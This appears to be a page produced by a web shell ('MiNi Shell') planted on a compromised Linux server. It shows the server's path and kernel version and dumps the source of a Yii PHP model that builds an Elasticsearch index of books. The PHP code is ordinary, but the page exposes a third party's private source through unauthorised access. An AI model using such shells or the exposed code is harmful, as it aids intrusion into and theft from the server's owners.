Devil Killer Is Here MiNi Shell
MiNi SheLL

Current Path : /home/vmanager/www/frontend/models/
Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Current File : /home/vmanager/www/frontend/models/IndexBooks.php
<?php
namespace frontend\models;

use Yii;
use common\models\ElasticsearchIndexesSync;
use frontend\models\IndexAbstract;
use frontend\models\IndexAutocomplete;
use common\models\Books;
use common\models\PortalsHasBookstoreCategories;
use common\models\types\Status;

class IndexBooks extends IndexAbstract
{
    public static function index(){
        return 'books';
    }
    
    public static function type(){
        return 'book';
    }
    
    public static function typeShortcut(){
        return 'bk';
    }
    
    public function attributes()
    {
        return['_id', 'id_publishing_house', 'publishing_house', 'title', 'lead', 'description', 'author', 'or_paper_version', 'or_electronic_version', 'book_type', 'image_filename', 'price', 'average_rating', 'release_date', 'portals', 'tags', 'locations']; 
    }
    
    public static function mapping()
    {
        $properties = [
            'title'  => [
                'type' => 'text',
                'analyzer' => 'autocomplete_analyzer',
                'search_analyzer' => 'autocomplete_search_analyzer',//'standard',
            ],
            'author'  => [
                'type' => 'text',
                'analyzer' => 'autocomplete_analyzer',
                'search_analyzer' => 'autocomplete_search_analyzer',//'standard',
            ],
            'publishing_house'  => [
                'type' => 'text',
                'analyzer' => 'autocomplete_analyzer',
                'search_analyzer' => 'autocomplete_search_analyzer',//'standard',
            ],
            'tags'  => [
                'type' => 'text',
                'analyzer' => 'autocomplete_analyzer',
                'search_analyzer' => 'autocomplete_search_analyzer',//'standard',
            ],
            'lead' => ['type' => 'text'], 
            'description' => ['type' => 'text'], 
            'id_publishing_house' => ['type' => 'long', 'index' => false],      
            'or_paper_version' => ['type' => 'boolean'], 
            'or_electronic_version' => ['type' => 'boolean'], 
            'image_filename' => ['type' => 'text', 'index' => false],
            'book_type' => ['type' => 'text'], 
            'price' => ['type' => 'scaled_float', 'scaling_factor' => 100], 
            'average_rating' => ['type' => 'scaled_float', 'scaling_factor' => 10, 'index' => false], 
            'release_date' => ['type' => 'date', 'format' => 'yyyy-MM-dd', 'index' => false],
            'portals' => ['type' => 'long'],
            'locations' => ['type' => 'geo_point']
        ];
        
        if(Yii::$app->elasticsearch->dslVersion >= 7) {
            return [
                'properties' => $properties
            ];
        } else {
            return [
                static::type() => [
                    'properties' => $properties
                ],
            ];
        }
    }
 
    /**
     * Create this model's index
     */
    public static function createIndex()
    {
        $db = static::getDb();
        $command = $db->createCommand();
        
        $command->createIndex(static::index(), [
            'settings' => [
                'index' => Yii::$app->elasticsearch->dslVersion >= 7 ? ['refresh_interval' => '1s', 'max_ngram_diff' => 20] : ['refresh_interval' => '1s'],
                'analysis' => [
                    'analyzer' => [
                        'autocomplete_analyzer' => [
                            'type' => 'custom',
                            'tokenizer' => 'whitespace',//'standard',
                            'filter' => [
                                'autocomplete_filter',
                                'lowercase'
                            ]
                        ],
                        'autocomplete_search_analyzer' => [
                            'type' => 'custom',
                            'tokenizer' => 'whitespace',//'standard',
                            'filter' => [
                                'lowercase',
                                'trim'
                            ]
                        ]
                    ],
                    'filter' => [
                        'autocomplete_filter' => [
                            'type' => Yii::$app->elasticsearch->dslVersion >= 7 ? 'ngram' : 'nGram',
                            'min_gram' => 3,
                            'max_gram' => 20
                        ]
                    ]
                ]
            ],
            'mappings' => static::mapping(),
            //'warmers' => [ /* ... */ ],
            //'aliases' => [ /* ... */ ],
            //'creation_date' => '...'
        ]);
    }
    
    public static function refreshRecords($idsBooks)
    {
        $results = [];
        
        if(empty($idsBooks)) {
            return $results;
        }
        
        $modelsBooks = Books::find()
                ->with([
                    'relationsWithCategories',
                    'tags',   
                    'company.branches'
                ])
                ->joinWith([
                    'publishingHouse' => function($q) {
                        $q->select(['id_publishing_house', 'name', 'status']);
                    }
                ])
                ->join('INNER JOIN', 'companies', 'companies.id_company = books.id_company')
                ->where([
                    'books.id_book' => $idsBooks,
                    'publishing_houses.status' => Status::ACTIVE,
                    'companies.status' => Status::ACTIVE
                ])
                ->orderBy('books.id_book ASC')
                ->all();

        if(empty($modelsBooks)) {
            foreach($idsBooks as $idBook) {
                $results[$idBook] = self::deleteRecord($idBook);
            }
            
            return $results;
        }
        
        $idsCategories = [];
        foreach($modelsBooks as $modelBook) {
            if(!empty($modelBook->relationsWithCategories)) {
                foreach($modelBook->relationsWithCategories as $modelRelationWithCategory) {
                    $idsCategories[$modelRelationWithCategory->id_category] = $modelRelationWithCategory->id_category;
                }
            }
        }
        
        $categoriesHasPortals = [];
        $portalsHasBookstoreCategories = PortalsHasBookstoreCategories::find()->where(['id_category' => $idsCategories])->asArray()->all();
        if(empty($portalsHasBookstoreCategories)) {
            foreach($idsBooks as $idBook) {
                $results[$idBook] = self::deleteRecord($idBook);
            }
            
            return $results;
        }
        foreach($portalsHasBookstoreCategories as $portalHasBookstoreCategory) {
            $categoriesHasPortals[$portalHasBookstoreCategory['id_category']][$portalHasBookstoreCategory['id_portal']] = $portalHasBookstoreCategory['id_portal'];
        }
        unset($portalsHasBookstoreCategories);

        $entriesForDelete = array_combine($idsBooks, $idsBooks);
        
        foreach($modelsBooks as $modelBook) {        
            $portals = [];
            if(!empty($modelBook->relationsWithCategories)) {
                foreach($modelBook->relationsWithCategories as $modelRelationWithCategory) {
                    if(!empty($categoriesHasPortals[$modelRelationWithCategory->id_category])) {
                        $portals = array_unique(array_merge($portals, array_values($categoriesHasPortals[$modelRelationWithCategory->id_category])));
                    }
                }
            }
            $tags = '';
            $tagsArray = [];
            if(!empty($modelBook->tags)) {
                foreach($modelBook->tags as $modelTag) {
                    $tags .= $modelTag->name.', ';
                    $tagsArray[$modelTag->name] = $modelTag->name;
                }
                $tags = rtrim($tags, ", ");
            }
            
            $locations = [];
            if(!empty($modelBook->company->lat) && !empty($modelBook->company->lng)) {
                $locations[] = [$modelBook->company->lng, $modelBook->company->lat];
            }            
            if(!empty($modelBook->company->branches)) {
                foreach($modelBook->company->branches as $modelCompanyBranch) {                    
                    if(!empty($modelCompanyBranch->lat)) {
                        $locations[] = [$modelCompanyBranch->lng, $modelCompanyBranch->lat];
                    }
                }
            }
            
            $lead = strip_tags($modelBook->lead);
            $lead = str_replace(array("\r", "\n"), ' ', $lead);
            $lead = preg_replace('!\s+!', ' ', $lead);
            $lead = mb_convert_encoding($lead,'UTF-8','UTF-8');
            
            $description = strip_tags($modelBook->description);
            $description = str_replace(array("\r", "\n"), ' ', $description);
            $description = preg_replace('!\s+!', ' ', $description);
            $description = mb_convert_encoding($description, 'UTF-8', 'UTF-8');
            
            $book = [
                'id' => $modelBook->id_book,
                'title' => strip_tags($modelBook->title),
                'lead' => $lead,
                'description' => $description,
                'or_paper_version' => intval($modelBook->or_paper_version) === 1 ? true : false,
                'or_electronic_version' => intval($modelBook->or_electronic_version) === 1 ? true : false,
                'image_filename' => $modelBook->image_filename,     
                'id_publishing_house' => $modelBook->id_publishing_house, 
                'publishing_house' => $modelBook->publishingHouse->name, 
                'author' => $modelBook->author, 
                'book_type' => $modelBook->book_type,
                'price' => $modelBook->price, 
                'average_rating' => $modelBook->average_rating, 
                'release_date' => $modelBook->release_date,
                'portals' => $portals,
                'tags' => $tags,
                'locations' => $locations
            ];

            $results[$modelBook->id_book] = (self::addRecord($book) === false) ? false : true;
            
            if($results[$modelBook->id_book] && !empty($portals)) {
                IndexAutocomplete::refreshRecords([
                    'id' => self::typeShortcut().$modelBook->id_book,
                    'phrases' => array_unique(array_merge(array_values($tagsArray), [strip_tags($modelBook->title)])), 
                    'portals' => $portals
                ]);
                
                unset($entriesForDelete[$modelBook->id_book]);
            }
        }
        
        if(!empty($entriesForDelete)) {
            foreach($entriesForDelete as $entryForDelete) {
                $results[$entryForDelete] = self::deleteRecord($entryForDelete);
            }
        }
        
        return $results;
    }
}
Creat By MiNi SheLL
Email: jattceo@gmail.com